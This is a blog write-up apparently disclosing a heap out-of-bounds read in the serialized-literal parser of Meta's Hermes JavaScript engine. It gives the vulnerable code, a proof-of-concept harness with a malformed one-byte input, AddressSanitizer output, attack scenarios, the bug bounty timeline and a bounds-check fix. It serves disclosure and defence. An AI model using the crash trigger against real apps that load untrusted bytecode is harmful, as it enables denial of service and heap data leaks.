top of page

Heap Out-of-Bounds Read in Hermes JavaScript Engine: A Technical Deep Dive

  • Hacking By Doing
  • Oct 17
  • 5 min read

Updated: Oct 18


ree

Executive Summary


This article presents a detailed analysis of a heap out-of-bounds read vulnerability discovered in Meta's Hermes JavaScript engine, specifically within the SerializedLiteralParser component. While the vulnerability was reported to Meta through their bug bounty program and acknowledged as a valid issue, it was deemed below the threshold for a monetary reward due to the component only processing "trusted input" in production scenarios.

This writeup serves as a comprehensive technical walkthrough of the vulnerability, its exploitation mechanics, and the disclosure process, demonstrating the importance of defensive programming even in contexts assumed to process trusted data.


What is Hermes?


Hermes is an open-source JavaScript engine optimized for running React Native applications on mobile devices. Developed by Meta (formerly Facebook), Hermes focuses on:

  • Reduced app size through bytecode precompilation

  • Improved startup time

  • Decreased memory consumption

A key architectural component of Hermes is its bytecode format, which includes serialized literals (strings, numbers, arrays, objects) that must be deserialized at runtime. This is where the vulnerability lies.


The Vulnerable Component: SerializedLiteralParser


The SerializedLiteralParser class is responsible for reading serialized literals from a bytecode buffer and converting them back into HermesValue objects. The serialization format uses a tag-based system where each literal is prefixed with a tag byte indicating its type:

  • ByteStringTag (0x10): 1-byte string ID

  • ShortStringTag (0x20): 2-byte string ID

  • LongStringTag (0x30): 4-byte string ID

  • NumberTag (0x31): 8-byte double

  • IntegerTag (0x40): 4-byte int32

  • NullTag, TrueTag, FalseTag: No payload


The Parser Logic

Here's the relevant code from SerializedLiteralParser.cpp:

HermesValue SerializedLiteralParser::get(Runtime &) {
  assert(hasNext() && "Object buffer doesn't have any more values");

  if (leftInSeq_ == 0)
    parseTagAndSeqLength();
  leftInSeq_--;
  elemsLeft_--;

  switch (lastTag_) {
    case SLG::NumberTag: {
      double val = llvh::support::endian::read<double, 1>(
          buffer_.data() + currIdx_, llvh::support::endianness::little);
      currIdx_ += 8;
      return HermesValue::encodeUntrustedNumberValue(val);
    }
    case SLG::IntegerTag: {
      int32_t val = llvh::support::endian::read<int32_t, 1>(
          buffer_.data() + currIdx_, llvh::support::endianness::little);
      currIdx_ += 4;
      return HermesValue::encodeUntrustedNumberValue(val);
    }
    // ... other cases ...
  }
}

Root Cause Analysis

The vulnerability exists because the parser performs typed reads (1, 2, 4, or 8 bytes) from the buffer without validating that sufficient bytes remain.


The Critical Flaw

Consider this execution flow:

  1. A malformed buffer contains: [0x31] (just the NumberTag, value 0x30 | 0x01)

  2. The parser reads the tag and determines it's a NumberTag

  3. It attempts to read 8 bytes starting at currIdx_

  4. No bounds check occurs before the read

  5. llvh::support::endian::read<double>() reads 8 bytes from a 1-byte buffer

  6. Result: heap buffer overflow read of 7 bytes beyond the allocation


Visualizing the Bug

Buffer allocation:     [0x31]
                        ^
                        currIdx_ = 0
                        
Attempted read:        [????????]  (8 bytes)
                        ^      ^
                        |      |
                        |      +-- 7 bytes past allocation end
                        +--------- Only this byte is valid

The read operation accesses memory that was never allocated for the buffer, potentially reading sensitive heap data from adjacent allocations.


Proof of Concept


Environment Setup

The vulnerability can be reproduced on any Linux system with:

  • Clang ≥15 with AddressSanitizer support

  • CMake ≥3.16

  • Standard build tools


Minimal Reproducer

I created a minimal test harness (test_parser.cpp):

#include "hermes/VM/SerializedLiteralParser.h"
#include "hermes/VM/Runtime.h"
#include "llvh/ADT/ArrayRef.h"
#include <vector>

using namespace hermes::vm;

int main() {
  // 1. Create minimal Hermes runtime
  auto runtime = Runtime::create(RuntimeConfig::Builder().build());
  
  // 2. Craft malformed buffer: NumberTag with no payload
  std::vector<uint8_t> buf = {0x31};  // 0x30 | 0x01 = NumberTag
  
  // 3. Create parser
  SerializedLiteralParser parser({buf.data(), buf.size()}, 1, nullptr);
  
  // 4. Trigger the vulnerability
  parser.get(*runtime);  // Boom!
}

Build Configuration

Added to tools/CMakeLists.txt:

add_executable(test_parser test_parser.cpp)
target_link_libraries(test_parser hermesVMRuntime)
target_compile_options(test_parser PRIVATE -fsanitize=address -fno-omit-frame-pointer)
target_link_options(test_parser PRIVATE -fsanitize=address)

Building and Running

git clone https://github.com/facebook/hermes.git
cd hermes
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DHERMES_ENABLE_ADDRESS_SANITIZER=ON
cmake --build . --target test_parser
ASAN_OPTIONS=halt_on_error=1 ./tools/test_parser

AddressSanitizer Output

==193678==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000a31
READ of size 8 at 0x502000000a31 thread T0
    #0 in double llvh::support::endian::read<double, 1ul>(...)
       /hermes/external/llvh/include/llvh/Support/Endian.h:69
    #1 in hermes::vm::SerializedLiteralParser::get(hermes::vm::Runtime&)
       /hermes/lib/VM/SerializedLiteralParser.cpp:61
    #2 in main
       /hermes/build/tools/test_parser.cpp:25

0x502000000a31 is located 0 bytes after 1-byte region [0x502000000a30,0x502000000a31)

The sanitizer clearly shows an 8-byte read from a 1-byte allocation, confirming the vulnerability.


Exploitation Analysis


Impact Assessment


Severity: CVSS 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L


Attack Scenarios


Scenario 1: Denial of Service (DoS)

  • Method: Malformed bytecode crashes the Hermes engine

  • Impact: Application becomes unresponsive or terminates

  • Target: React Native apps loading untrusted bytecode


Scenario 2: Information Disclosure

  • (depends on heap layout)

  • Method: Out-of-bounds read returns heap data encoded as JavaScript number.

  • Impact: Potential leak of sensitive information from adjacent heap objects

  • Use case: Could bypass ASLR or leak sensitive app data


Scenario 3: Escalation to RCE

  • (requires vulnerability chaining)

  • Method: Combine info leak with separate memory corruption bug

  • Impact: Remote code execution within the JavaScript engine


Attack Surface Considerations

Meta's response highlighted an important point: SerializedLiteralParser is designed to process trusted input only. In the standard React Native workflow:

  1. Developers compile JavaScript to Hermes bytecode

  2. The bytecode is bundled with the app

  3. At runtime, only this pre-verified bytecode is executed


However, attack surface exists if:

  • An app dynamically loads bytecode from external sources

  • Another vulnerability allows bytecode tampering

  • Development/debugging scenarios bypass normal protections

  • Future architectural changes alter the trust model


The Disclosure Process


Timeline

Date

Event

June 14, 2025

Initial report submitted to Meta Bug Bounty

June 14, 2025

Report acknowledged (ID: 10229917828229717)

June 15, 2025

Security team requested reproduction script

June 15, 2025

Provided automated repro_hermes_oob.sh

June 15, 2025

Asked if exploitable to RCE or higher impact

June 15, 2025

Confirmed limited to OOB read (DoS + info leak)

June 15, 2025

Report forwarded to engineering team

July 3, 2025

Report closed - valid issue, no monetary reward


Meta's Response

The final response stated:

ree

Meta's position is technically defensible from a threat modeling perspective:

  • The component is internal to the bytecode parser

  • In production, bytecode is generated by their own compiler

  • The trust boundary is at bytecode generation, not parsing


However, this overlooks several defense-in-depth principles:

  • Assumptions about trust boundaries can become invalid over time

  • Code gets reused in unexpected contexts

  • Defense-in-depth prevents vulnerability chaining

  • Memory safety bugs are easier to fix than audit all callers


Suggested Fix

A simple bounds check would prevent this vulnerability:

case SLG::NumberTag: {
  if (currIdx_ + sizeof(double) > buffer_.size()) {
    hermes_fatal("Serialized literal buffer overflow");
  }
  double val = llvh::support::endian::read<double, 1>(
      buffer_.data() + currIdx_, llvh::support::endianness::little);
  currIdx_ += 8;
  return HermesValue::encodeUntrustedNumberValue(val);
}

This check should be applied consistently to all payload reads.


Conclusion

This research demonstrates a legitimate heap out-of-bounds read vulnerability in the Hermes JavaScript engine. While Meta's assessment that the bug requires untrusted bytecode to reach production is fair, the vulnerability represents a gap in defense-in-depth protections.


The bug serves as a case study in the tension between:

  • Formal security impact (requires specific attack scenarios)

  • Defense-in-depth principles (all inputs should be validated)

  • Real-world threat models (trusted vs. untrusted contexts)


References


Responsible Disclosure

This vulnerability was reported to Meta through their official bug bounty program on June 14, 2025.

Meta closed the report on July 3, 2025, acknowledging it as a valid issue but determining it fell below their reward threshold.

Public disclosure occurred in October 2025, approximately 120 days after the initial report, following industry-standard responsible disclosure practices.


For questions or comments about this research, feel free to reach out through the contact information on my blog.

 
 
bottom of page